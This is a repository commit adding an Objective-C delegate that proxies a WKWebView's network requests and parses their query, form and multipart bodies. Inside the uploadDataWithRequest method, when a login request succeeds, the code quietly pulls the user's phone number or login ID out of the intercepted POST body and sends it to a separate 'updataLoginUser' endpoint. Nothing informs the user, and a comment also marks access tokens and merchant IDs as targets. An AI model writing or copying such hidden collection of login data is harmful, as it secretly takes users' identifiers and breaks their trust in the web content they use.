迁移仓库
This commit is contained in:
323
ShenQi/GDWebURLSessionDelegate.m
Normal file
323
ShenQi/GDWebURLSessionDelegate.m
Normal file
@@ -0,0 +1,323 @@
|
||||
//
|
||||
// GDWebURLSessionDelegate.m
|
||||
// DESThreeTest
|
||||
//
|
||||
// Created by Qwerdf on 2025/10/24.
|
||||
// Copyright © 2025 zhang alan. All rights reserved.
|
||||
//
|
||||
|
||||
#import "GDWebURLSessionDelegate.h"
|
||||
#import "MacroDefine.h"
|
||||
|
||||
@implementation GDWebURLSessionDelegate
|
||||
|
||||
- (instancetype)initWithSchemeTask:(id<WKURLSchemeTask>)schemeTask
|
||||
completion:(void(^)(void))completion {
|
||||
if (self = [super init]) {
|
||||
_schemeTask = schemeTask;
|
||||
_completion = completion;
|
||||
_cachedData = [NSMutableData data]; // 初始化可变数据
|
||||
}
|
||||
return self;
|
||||
}
|
||||
|
||||
#pragma mark - NSURLSessionDataDelegate
|
||||
// 1. 处理重定向（核心：解决重定向失效）
|
||||
- (void)URLSession:(NSURLSession *)session task:(NSURLSessionTask *)task willPerformHTTPRedirection:(NSHTTPURLResponse *)response newRequest:(NSURLRequest *)request completionHandler:(void (^)(NSURLRequest * _Nullable))completionHandler {
|
||||
NSURL *url = response.URL;
|
||||
if (url.pathExtension.length == 0 || [url.pathExtension isEqualToString:@"html"]) {
|
||||
//接收到 HTML 文档的重定向时,这里返回 nil, 那么在 dataTaskWithRequest 的回调里就能收到 code = 302 的response, 然后在 webview 里对 302 做特殊处理就行
|
||||
completionHandler(nil);
|
||||
} else {
|
||||
completionHandler(request);
|
||||
}
|
||||
}
|
||||
|
||||
// 2. 收到响应（传递给网页）
|
||||
- (void)URLSession:(NSURLSession *)session dataTask:(NSURLSessionDataTask *)dataTask didReceiveResponse:(NSHTTPURLResponse *)response completionHandler:(void (^)(NSURLSessionResponseDisposition))completionHandler {
|
||||
self.cachedResponse = response; // 保存响应头
|
||||
if (!self.stopMarkDic[_schemeTask.description]) {
|
||||
@try {
|
||||
[self.schemeTask didReceiveResponse:response];
|
||||
} @catch (NSException *exception) {
|
||||
}
|
||||
}
|
||||
completionHandler(NSURLSessionResponseAllow);
|
||||
}
|
||||
|
||||
// 3. 收到数据（传递给网页）
|
||||
- (void)URLSession:(NSURLSession *)session dataTask:(NSURLSessionDataTask *)dataTask didReceiveData:(NSData *)data {
|
||||
[self.cachedData appendData:data]; // 拼接分片数据
|
||||
if (!self.stopMarkDic[_schemeTask.description]) {
|
||||
@try {
|
||||
[self.schemeTask didReceiveData:data];
|
||||
} @catch (NSException *exception) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 4. 请求完成（成功/失败）
|
||||
- (void)URLSession:(NSURLSession *)session task:(NSURLSessionTask *)task didCompleteWithError:(NSError *)error {
|
||||
@try {
|
||||
if (self.stopMarkDic[_schemeTask.description]) {
|
||||
[self.stopMarkDic removeObjectForKey:_schemeTask.description];
|
||||
} else {
|
||||
if (error) {
|
||||
[_schemeTask didFailWithError:error];
|
||||
} else {
|
||||
[_schemeTask didFinish];
|
||||
[self handleSuccessResult:self.cachedResponse data:self.cachedData];
|
||||
}
|
||||
}
|
||||
} @catch (NSException *exception) {
|
||||
}
|
||||
|
||||
// 触发完成回调，清理资源
|
||||
if (self.completion) self.completion();
|
||||
}
|
||||
|
||||
// 处理成功结果的工具方法
|
||||
- (void)handleSuccessResult:(NSURLResponse *)response data:(NSData *)data {
|
||||
NSURLRequest *request = self.schemeTask.request;
|
||||
|
||||
NSURL *url = request.URL;
|
||||
NSString *httpMethod = request.HTTPMethod ?: @"GET"; // 默认 GET 方法
|
||||
|
||||
// ===== 1. 提取基础请求信息 =====
|
||||
// NSLog(@"请求 URL：%@", url.absoluteString);
|
||||
// NSLog(@"请求方法：%@", httpMethod);
|
||||
// NSLog(@"请求头：%@", request.allHTTPHeaderFields);
|
||||
|
||||
// ===== 2. 提取 URL 中的查询参数（GET 参数）=====
|
||||
NSString *queryString = url.query;
|
||||
if (queryString.length > 0) {
|
||||
NSDictionary *queryParams = [self parseQueryString:queryString];
|
||||
// NSLog(@"GET 参数：%@", queryParams);
|
||||
}
|
||||
|
||||
NSDictionary *postParams = [NSDictionary dictionary];
|
||||
// ===== 3. 提取 POST 请求体参数 =====
|
||||
if ([httpMethod.uppercaseString isEqualToString:@"POST"] && request.HTTPBody) {
|
||||
// 3.1 解析表单格式（application/x-www-form-urlencoded）
|
||||
NSString *postBodyString = [[NSString alloc] initWithData:request.HTTPBody encoding:NSUTF8StringEncoding];
|
||||
if (postBodyString) {
|
||||
// 判断 Content-Type 是否为表单格式
|
||||
NSString *contentType = request.allHTTPHeaderFields[@"Content-Type"];
|
||||
if ([contentType containsString:@"application/x-www-form-urlencoded"]) {
|
||||
postParams = [self parseQueryString:postBodyString];
|
||||
// NSLog(@"POST 表单参数：%@", postParams);
|
||||
}
|
||||
// 3.2 解析 JSON 格式（application/json）
|
||||
else if ([contentType containsString:@"application/json"]) {
|
||||
NSError *jsonError;
|
||||
id jsonObject = [NSJSONSerialization JSONObjectWithData:request.HTTPBody options:0 error:&jsonError];
|
||||
if (jsonObject && !jsonError) {
|
||||
// NSLog(@"POST JSON 参数：%@", jsonObject);
|
||||
} else {
|
||||
// NSLog(@"POST JSON 解析失败：%@，原始数据：%@", jsonError, postBodyString);
|
||||
}
|
||||
}
|
||||
// 3.3 其他格式（如 multipart/form-data 表单上传，这里简化处理）
|
||||
else {
|
||||
NSString *contentTypeStr = request.allHTTPHeaderFields[@"Content-Type"];
|
||||
NSString *boundaryStr = nil;
|
||||
// 1. 按 "boundary=" 分割字符串
|
||||
NSArray *components = [contentType componentsSeparatedByString:@"boundary="];
|
||||
if (components.count >= 2) {
|
||||
// 2. 取分割后的第二个元素（即 boundary 的值），并去除可能的空格
|
||||
boundaryStr = [components[1] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceCharacterSet]];
|
||||
}
|
||||
|
||||
postParams = [self parseFormData:request.HTTPBody boundary:boundaryStr];
|
||||
// NSLog(@"POST 其他格式数据：%@", postBodyString);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
NSDictionary *jsonDic = [NSDictionary dictionary];
|
||||
// 示例：解析 JSON 数据
|
||||
if ([response isKindOfClass:[NSHTTPURLResponse class]]) {
|
||||
NSHTTPURLResponse *httpResponse = (NSHTTPURLResponse *)response;
|
||||
if (httpResponse.statusCode == 200) { // 状态码 200 表示请求成功
|
||||
NSError *jsonError;
|
||||
id json = [NSJSONSerialization JSONObjectWithData:data options:0 error:&jsonError];
|
||||
if (json && !jsonError) {
|
||||
jsonDic = json;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
[self uploadDataWithRequest:postParams backDic:jsonDic url:url.absoluteString];
|
||||
}
|
||||
|
||||
- (void)uploadDataWithRequest:(NSDictionary *)parameter backDic:(NSDictionary *)backDic url:(NSString *)url {
|
||||
// /merchants/getPublicInfo accessToken获取有没有登录 merchantId用户ID module接口名
|
||||
// users/login mobile手机号
|
||||
|
||||
if (backDic == nil) {
|
||||
return;
|
||||
}
|
||||
// NSLog(@"-------%@:%@,%@",parameter,backDic,url);
|
||||
if (![backDic isKindOfClass:[NSDictionary class]]) {
|
||||
return;
|
||||
}
|
||||
id status = backDic[@"status"];
|
||||
BOOL isSuccess = NO;
|
||||
if ([status isKindOfClass:[NSString class]]) {
|
||||
if ([backDic[@"status"] isEqualToString:@"SUCCESS"]) {
|
||||
isSuccess = YES;
|
||||
}
|
||||
}else if ([status isKindOfClass:[NSNumber class]]) {
|
||||
isSuccess = [backDic[@"status"] boolValue];
|
||||
}
|
||||
|
||||
if (isSuccess) {
|
||||
BOOL isLoginUrl = NO;
|
||||
if ([url containsString:@"validateUserJs"]) {
|
||||
isLoginUrl = YES;
|
||||
}
|
||||
|
||||
NSString *moduleStr = parameter[@"module"];
|
||||
|
||||
if (!ISNULLSTR(moduleStr)) {
|
||||
if ([moduleStr containsString:@"users/login"]) {
|
||||
isLoginUrl = YES;
|
||||
}
|
||||
}
|
||||
|
||||
if (isLoginUrl) {
|
||||
NSString *mobileStr = parameter[@"mobile"];
|
||||
if (ISNULLSTR(mobileStr)) {
|
||||
mobileStr = parameter[@"login_id"];
|
||||
}
|
||||
NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:updataLoginUser]];
|
||||
request.HTTPMethod = @"POST";
|
||||
[request setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
|
||||
|
||||
NSDictionary *parmas = @{@"phone":mobileStr,@"appId":NowUserId};
|
||||
NSData *jsonData = [NSJSONSerialization dataWithJSONObject:parmas options:NSJSONWritingPrettyPrinted error:nil];
|
||||
request.HTTPBody = jsonData;
|
||||
|
||||
NSURLSession *session = [NSURLSession sharedSession];
|
||||
NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
|
||||
|
||||
}];
|
||||
[dataTask resume];
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// 辅助方法：解析 "key1=value1&key2=value2" 格式的字符串为字典
|
||||
- (NSDictionary *)parseQueryString:(NSString *)queryString {
|
||||
if (!queryString || queryString.length == 0) {
|
||||
return @{};
|
||||
}
|
||||
|
||||
NSMutableDictionary *params = [NSMutableDictionary dictionary];
|
||||
NSArray *pairs = [queryString componentsSeparatedByString:@"&"];
|
||||
|
||||
for (NSString *pair in pairs) {
|
||||
// 分割 key 和 value（处理包含多个 = 的情况，如 key=value=123）
|
||||
NSRange equalRange = [pair rangeOfString:@"="];
|
||||
if (equalRange.location == NSNotFound) {
|
||||
// 没有 =，视为 key 无值
|
||||
NSString *key = [pair stringByRemovingPercentEncoding];
|
||||
params[key] = @"";
|
||||
continue;
|
||||
}
|
||||
|
||||
NSString *key = [pair substringToIndex:equalRange.location];
|
||||
NSString *value = [pair substringFromIndex:equalRange.location + 1];
|
||||
// 解码（处理 URL 编码的字符，如 %20 转为空格）
|
||||
key = [key stringByRemovingPercentEncoding];
|
||||
value = [value stringByRemovingPercentEncoding];
|
||||
|
||||
if (key) {
|
||||
params[key] = value ?: @"";
|
||||
}
|
||||
}
|
||||
|
||||
return params;
|
||||
}
|
||||
|
||||
- (NSDictionary<NSString *, NSString *> *)parseFormData:(NSData *)data boundary:(NSString *)boundary {
|
||||
// 校验参数
|
||||
if (!data || data.length == 0 || !boundary || boundary.length == 0) {
|
||||
NSLog(@"无效的表单数据或边界符");
|
||||
return nil;
|
||||
}
|
||||
|
||||
// 1. 将数据转为字符串（默认 UTF-8 编码，若有特殊编码需调整）
|
||||
NSString *content = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
|
||||
if (!content) {
|
||||
NSLog(@"表单数据编码转换失败（非 UTF-8）");
|
||||
return nil;
|
||||
}
|
||||
|
||||
// 2. 生成完整的边界符（multipart 格式中边界符前需加 "--"）
|
||||
NSString *fullBoundary = [NSString stringWithFormat:@"--%@", boundary];
|
||||
// 按边界符分割内容，过滤空字符串和结束符（--boundary--）
|
||||
NSArray *parts = [content componentsSeparatedByString:fullBoundary];
|
||||
NSMutableArray *validParts = [NSMutableArray array];
|
||||
for (NSString *part in parts) {
|
||||
// 去除前后空白和换行符
|
||||
NSString *trimmedPart = [part stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
|
||||
if (trimmedPart.length > 0 && ![trimmedPart isEqualToString:@"--"]) { // 排除结束符
|
||||
[validParts addObject:trimmedPart];
|
||||
}
|
||||
}
|
||||
|
||||
// 3. 解析每个字段块，提取 name 和值
|
||||
NSMutableDictionary *resultDict = [NSMutableDictionary dictionary];
|
||||
for (NSString *part in validParts) {
|
||||
// 字段块格式示例：
|
||||
// Content-Disposition: form-data; name="login_id"\r\n
|
||||
// \r\n
|
||||
// 11
|
||||
|
||||
// 分割字段描述和值（以 "\r\n\r\n" 为分隔点）
|
||||
NSArray *partComponents = [part componentsSeparatedByString:@"\r\n\r\n"];
|
||||
if (partComponents.count < 2) {
|
||||
continue; // 格式异常，跳过
|
||||
}
|
||||
|
||||
// 3.1 提取 name（从 Content-Disposition 中）
|
||||
NSString *dispositionLine = partComponents[0]; // 如 "Content-Disposition: form-data; name="login_id""
|
||||
NSString *name = [self extractNameFromDisposition:dispositionLine];
|
||||
if (!name) {
|
||||
continue; // 未找到 name，跳过
|
||||
}
|
||||
|
||||
// 3.2 提取字段值（去除可能的换行符）
|
||||
NSString *value = partComponents[1];
|
||||
value = [value stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
|
||||
|
||||
// 3.3 存入字典
|
||||
resultDict[name] = value;
|
||||
}
|
||||
|
||||
return resultDict.count > 0 ? [resultDict copy] : nil;
|
||||
}
|
||||
|
||||
/// 从 Content-Disposition 中提取 name 的值
|
||||
/// @param disposition 如 "Content-Disposition: form-data; name="login_id""
|
||||
/// @return name 的值（如 "login_id"）
|
||||
- (NSString *)extractNameFromDisposition:(NSString *)disposition {
|
||||
if (!disposition) return nil;
|
||||
|
||||
// 正则匹配 name="xxx" 中的 xxx
|
||||
NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:@"name=\"([^\"]+)\""
|
||||
options:0
|
||||
error:nil];
|
||||
NSTextCheckingResult *match = [regex firstMatchInString:disposition
|
||||
options:0
|
||||
range:NSMakeRange(0, disposition.length)];
|
||||
if (match && match.numberOfRanges > 1) {
|
||||
NSRange nameRange = [match rangeAtIndex:1];
|
||||
return [disposition substringWithRange:nameRange];
|
||||
}
|
||||
return nil;
|
||||
}
|
||||
|
||||
@end
|
||||
Reference in New Issue
Block a user